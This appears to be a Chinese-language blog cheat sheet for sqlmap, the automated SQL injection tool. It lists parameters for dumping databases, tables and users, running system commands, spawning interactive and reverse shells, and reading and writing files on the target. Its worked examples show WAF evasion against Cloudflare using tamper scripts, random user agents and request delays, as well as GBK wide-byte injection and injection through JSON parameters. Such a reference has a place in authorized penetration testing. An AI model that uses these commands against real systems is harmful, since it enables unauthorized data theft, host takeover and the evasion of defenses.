应用场景
自动测试注入已找到的sql注入漏洞点
命令参数
常用参数
| 参数 |
详解 |
| -u “url” |
注入的url |
| –data |
post请求payload |
| –cookie |
cookie注入 |
| –dbs |
列出所有数据库 |
| -tables |
列出所有表 |
| -D |
指定数据库 |
| -T |
指定表 |
| -C |
指定字段 |
| –dump |
跟在上面指定的参数一起使用,列出指定的数据 |
| –sql-shell |
写shell |
| –batch |
默认选择y |
| –eta |
盲注,显示时间和优化 |
| –os-cmd=id |
执行系统命令 |
| –os-shell |
系统交互shell |
| –os-pwn |
反弹shell |
| –referer |
使用referer欺骗 |
| –users |
列数据库所有用户 |
| –threads |
多线程 |
| –file-read |
读指定文件 |
| –file-write |
写入指定文件 |
示例
- post请求插入请求表单
1
| sqlmap -u "url" --data="id=1&" --batch
|
- 列出数据库系统用户
1
| sqlmap -u "url" --users -v 0
|
- 列出所有数据库名称
1
| sqlmap -u "url" --dbs --batch
|
- 列出指定数据库的表
1
| sqlmap -u "url" --tables -D "数据库名称" -tables --batch
|
- 列出指定表的数据
1
| sqlmap -u "url" --tables -D "数据库名称" -T "表名" --dump --batch
|
安全参数
| 参数 |
详解 |
| -proxy “url,url” |
代理 |
| –tamper |
Tamper 脚本,混淆 Payload |
| –chunked |
分块传输编码 |
| –random-agent |
随机化 HTTP 头 |
| –delay=5 |
请求延迟 |
| –headers |
–headers="X-Forwarded-For:1.1.1.1"添加自定义 HTTP 头 |
| –charset |
强制指定字符集,绕过转义字符 |
示例
- 绕过 Cloudflare WAF
1 2 3 4 5 6 7
| sqlmap -u "http://XXXXXXX.com?id=1" \ --tamper=space2comment,randomcase,versionedmorekeywords \ --random-agent \ --delay=3 \ --dbms=MySQL \ --level=5 \ --risk=3
|
- GBK 宽字节注入
1 2 3 4 5
| sqlmap -u "http://XXXXXXX.com?id=1%df%27" \ --charset=gbk \ --tamper=unmagicquotes \ --dbms=MySQL \ --dbs
|
- JSON 参数注入
1 2 3 4 5
| sqlmap -u "http://target.com/api" \ --data='{"id":"1*"}' \ --param-del=":" \ --headers="Content-Type: application/json" \ --dbms=MySQL
|
-v #详细的等级(0-6)
0:只显示Python的回溯,错误和关键消息。
1:显示信息和警告消息。
2:显示调试消息。
3:有效载荷注入。
4:显示HTTP请求。
5:显示HTTP响应头。
6:显示HTTP响应页面的内容